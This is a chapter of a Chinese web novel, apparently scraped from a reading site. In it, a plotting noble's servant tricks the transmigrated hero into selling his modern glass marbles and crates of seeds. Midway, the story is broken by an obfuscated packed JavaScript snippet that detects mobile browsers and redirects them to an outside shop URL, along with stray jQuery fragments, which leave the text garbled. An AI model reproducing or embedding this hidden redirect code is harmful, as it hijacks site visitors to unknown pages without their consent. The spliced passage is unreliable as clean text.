19.第 19 章

作品:《谁要做炮灰反派啊!

    在那本《踏王侯》里,一路支持着王远登临皇位、驯服四境,又向大陆以西及茫茫大海上开疆拓土的,就是他的那方随身空间。


    萧酌清至今不知他的空间里究竟有多少宝物,但光是在书里看到的那些,就足够让人叹为观止。


    小小的一颗琉璃珠,剔透晶莹,内里竟有七彩纹样,放眼大商闻所未闻,可王远随手就能掏出一把。


    柔软轻盈可耐严寒的衣料,王远随手送人,还口称“就是些聚酯纤维做的,不值钱”。


    更有式样精美的琉璃器皿、削铁如捏的精钢刀具、五光十色的珠宝饰品、可使人力骑行的铁制马匹……


    王远其人,身上携带着一个巨大的宝藏。


    这些奇巧物品,萧酌清也好奇。但他知道,自己在王远面前的优势,不过是他“预知未来”的能力。


    未来随时能够改变,这样的先机却稍纵即逝,他一定要用在最关键的东西上。


    马车停在观亭街一条不起眼的小巷里。


    车里的照夜已经改头换面,换上了云锦衣袍,玳瑁发冠,俨然一位富贵人家的少爷。


    “把这个戴上。”萧酌清打量他一遍,又解下玉佩荷包递给他。“刚才教你的话,记住了?”


    照夜点头:“公子放心!”


    在他这些自幼一同长大的随从中,照夜最是聪明机灵。事情交给他,萧酌向来放心,照夜也不负他的期望,事事都办得漂亮。


    “等等。”


    就在照夜掀开车帘要下车时,萧酌清伸手拦住了他。


    不远处,王远正好从升平当铺里出来。


    隔着一条人来人往的街道,没有明显的遮挡,但凡留心,一定会看见巷子里这驾停泊的马车。


    王远见过这驾车。


    萧酌清心下一紧,暗自埋怨自己方才一时情急,居然露出了这么大的破绽……


    在他戒备的注视下,王远丝滑地转了个身,就这么水灵灵地扫过繁华的街市,看都没往这条巷子看一眼。


    他回过头去,朝着升平当铺的门面啐了一口。


    “呸,狗眼看人低,你知道爷拿的是什么宝贝吗!”


    萧酌清沉默。


    抱歉,高看他了。


    光亮一晃,萧酌清看见了王远手里捏着的那对玻璃珠。


    在《踏王侯》里,这把玻璃珠是王远拆出的第一个快递。


    一张棋盘,这些珠子不过是棋盘里的棋子,王远随手抠出来,就在地上弹着玩时,将珠子弹到了宁嫣郡主的脚边。


    玻璃珠得了郡主的青眼,高价从王远手里换了一颗。此后,王远便靠着这棋盘里的珠子购房置地,又用它穿了一条项链,俘获了宁嫣郡主的芳心。


    但是现在,没有宁嫣郡主将这玻璃珠嵌上发冠、引得邺京城中争相模仿,当铺掌柜当然不敢轻信一个衣着普通、言语轻浮的年轻人。


    且不提这种珠子他听都没听说过,即便这宝贝是真的,但若是这小子偷来的呢?


    “走吧走吧,见都没见过的东西,谁敢收?”当铺的伙计出来驱赶他。“不信你去别家问去,整条观亭街,要有一家当铺敢要你的东西,我的名字倒过来写!”


    王远此人别无所长,就是要脸。先不管什么是非对错,只要伤了爷们的面子,那就不行。


    王远立马跳脚:“你等着瞧吧!”


    他今天非要在这儿把这颗珠子卖出去,狠狠打这小子的脸!


    王远气哼哼地走了。


    萧酌清压着嘴角,对照夜说:“去吧。”


    “是!”


    ——


    王远边走边看。


    观亭街是邺京城最繁华的街市,楼阁鳞次栉比,往来客商吆喝叫卖,四处遍布茶楼酒肆,珠宝阁、绸缎庄等不一而足。


    他也没法去别的地方。这儿就是邺京的CBD了,他这玩意儿要是在观亭街卖不出去,那就没地方可卖了。


    唉,人生咋就这么难?


    又被两家当铺拒之门外,王远郁闷极了。


    那天王妃让他去赚钱,他被帘幕后的美色诱惑,稀里糊涂就答应了下来。现在狠话放出去了,可他一点赚钱的路子都没有,时间一天天过去,眼看七天就要到了,他马上就要被赶出王府。


    手里一分钱都没有,云淇儿和曲若瑶只好在王家浆洗洒扫,来换他的一日三餐。


    王远不想留在那儿看人脸色,只好在空间挑挑拣拣,翻出了两颗玻璃珠子去碰碰运气。


    他又不是没看过小说,那种带着空间去古代大杀四方的主角,不都是拿现代的东西,狠狠震慑这帮没见过世面的古人吗?


    咋轮到他就不一样了呢。


    王远一会儿骂不仗义的老天爷,一会儿骂自己没出息的便宜爹,走着走着,就又看到一家当铺的招牌。


    还进啊?


    王远有点犹豫。


    他就算再穷,也要面子,那些伙计掌柜一见到他,就是那副嫌贫爱富的嘴脸……


    “你们这么大的当铺,连个琉璃珠都没有?”


    这时,一道声音传进王远的耳朵。


    “公子,琉璃珠我们这儿当然有!但是您说的那个样式,我们确实听都没听说过啊……”


    王远顺着热闹凑过去,就见那家当铺里站着个贵公子,一边摇着扇子,一边嫌弃地看向掌柜。


    “没听说过?那是你们孤陋寡闻!”


    掌柜点头哈腰:“是是是!”


    爽啊!


    王远看了一上午当铺掌柜的脸色,现在看着这家当铺的老板像狗一样跟人赔笑脸,王远觉得自己的腰杆子也硬起来了。


    对对对,就要这样对付这些见钱眼开的东西!


    王远看得津津有味。


    却未见当铺里的“公子哥”余光扫过他,清清嗓子,朗声说道。


    “我听说了,西域有不少琉璃珠卖来京城,其中有一样,产自更西边的沙漠,那种琉璃珠里就有花纹!红色也有,青色也有,红黄蓝绿应有尽有,你怎么可能没见过!”


    掌柜实在为难:“公子,这确实闻所未闻啊……”


    “那就去问!到街上问,到楼兰、暹罗、爪哇国的驿馆去问!”


    照夜又往王远的方向扫了一眼。


    只见王远满脸得意,正站在门外伸着脖子看热闹。


    他一门心思把这热闹当爽文看,压根没反应过来,照夜所说的那种琉璃珠,他现在怀里就有好几个。


    ……这人怎么这么蠢!


    照夜没办法,又把荷包解下来,沉甸甸地往柜台上一放。


    “问到了小爷重重有赏!爷有的是钱,今天就想弄两颗琉璃珠玩玩!”


    白花花的银锞子滚出来,王远的眼睛都看直了。


    我草,有钱真TM爽,我要是也这么有钱就好了……


    “。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173469|195710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>照夜感到了一种深深的无力。


    他只好假装发现了王远,回过头去,又一副盛气凌人的模样。


    “什么人,在这儿探头探脑的?”


    王远吓了一跳。


    照夜轻蔑地看着他:“怎么,你有琉璃珠吗?没有就滚远点!”


    王远撇撇嘴。


    装什么啊?大街上的,哪条法律说不让看热闹?还什么琉璃珠……


    ……等等?!


    琉璃珠??


    ——


    王远把照夜叫到了小巷子里,神秘兮兮地从怀里拿出了两颗玻璃弹珠。


    “公子,您看看,您要的宝贝是长这样不?”


    他当然知道,跳棋里的玻璃珠子不是琉璃。


    但是古人知道啥?古人烧得出玻璃,做得出塑料吗?


    “这个?看着似乎……”照夜一脸的不相信,拿着玻璃珠上下打量一番,有些纠结,却又好像很有兴趣。


    这人好骗!


    王远立马趁热打铁:“您看,这里头不就是彩色的花纹吗?公子您放心,我最近才从西域那边回来。西域的西边,欧洲,你知道不?那里有英国,还有法国,这可是从那里买回来的,进口货!”


    叽里咕噜不知道在说什么。


    照夜装出一副被王远忽悠到的样子,听了一会儿,点头说:“应该就是这个。你有多少?我全买了。”


    果然是个冤大头!


    王远连忙从怀里往外掏,没一会儿,一小把玻璃珠放到了照夜手里。


    “行,开个价吧。”照夜说着,仿佛自言自语一般说。“虽然没买到西域那些奇花异草的种子,弄两颗琉璃珠,先玩着吧……”


    正从怀里费劲掏出最后一个玻璃珠的王远一愣。


    什么,花种?


    他好像也有啊!


    ——


    “公子,全都弄回来了!”照夜喘着粗气,将两个沉甸甸的箱子抱到了萧酌清的马车上。


    “是全部吗?”萧酌清问。


    照夜笑了几声。


    “那小子见钱眼开,听见我说有多少要多少,在那儿找了好半天呢!”他说。“到头来还在嘀嘀咕咕的骂人,说怎么只有这么点儿……”


    “给的他黄金?”萧酌清又问。


    “对!听公子的吩咐,不敢给银票,给的都是真金白银,保管这小子想查也查不到来路!”


    这些钱到了王远手里,只怕立时便会挥霍出去,给现银和黄金,只是为了以防万一。


    萧酌清俯身检查了两只箱子。陌生的纸质材质,外头封着透明的胶条,未曾拆开过,和他记忆里王远在书中拿出的那些一模一样。


    王远其实骗了他,什么花种,这两大箱的种子,种不出一朵花。


    但是……他也骗了王远。


    他想要的,从来都不是花。


    在那本小说里,这是王远在一千多章时才想起打开的箱子。


    当时,他已是江南叛军的首领,在攻打邺城数月、鏖战僵持之时,划开了这两只箱子的开口。


    千百年后才传入中原的水果和蔬菜、可耐干旱的作物、还有产量极高的粮食……


    虽然只是书中很短的一个片段,萧酌清却明白,要想支撑起一座稳定强大的王朝,究竟靠的是什么。


    “回府。”


    他的手按在来自异世的瓦楞纸箱上,兴奋到指尖冰凉一片。